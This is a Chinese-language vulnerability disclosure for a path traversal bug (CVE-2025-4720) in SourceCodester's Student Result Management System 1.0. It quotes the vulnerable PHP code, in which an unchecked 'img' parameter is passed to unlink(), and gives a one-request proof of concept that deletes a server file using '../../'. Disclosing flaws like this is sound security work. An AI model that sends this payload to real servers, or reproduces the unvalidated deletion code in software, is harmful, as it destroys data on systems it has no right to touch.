cve-srms-drop-student-path-traversal (CVE-2025-4720)(dupe)

SourceCodester SRMS 1.0 任意文件删除漏洞

描述

SourceCodester 学生成绩管理系统（SRMS）1.0 的 drop_student.php 端点存在路径遍历漏洞。

该应用程序从 img GET 参数获取用户可控输入，并在未经验证的情况下直接将其传递给 unlink() 函数，从而允许删除服务器上的任意文件。

漏洞代码

$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

漏洞类型

• CWE-22：路径遍历
• 影响：任意文件删除

概念验证（PoC）

1. 在应用程序根目录创建一个文件：

C:\xampp\htdocs\srms_0\srms\new_test.txt

2. 发送以下请求：

GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target

3. 观察文件已从服务器中删除。

影响

攻击者可以删除 Web 服务器可访问的任意文件，包括：

• 应用程序配置文件
• 日志
• 上传的内容

这可能会导致拒绝服务或进一步利用。

附加说明

与之前报告的 SRMS 问题相比，该漏洞代表了一种独特的攻击向量，因为它：

• 使用 GET 请求
• 不需要文件上传
• 可能通过 CSRF 进行利用

厂商

SourceCodester

产品

学生成绩管理系统（SRMS） https://www.sourcecodester.com/srms-makumbusho

版本

1.0

作者

Imad Alvi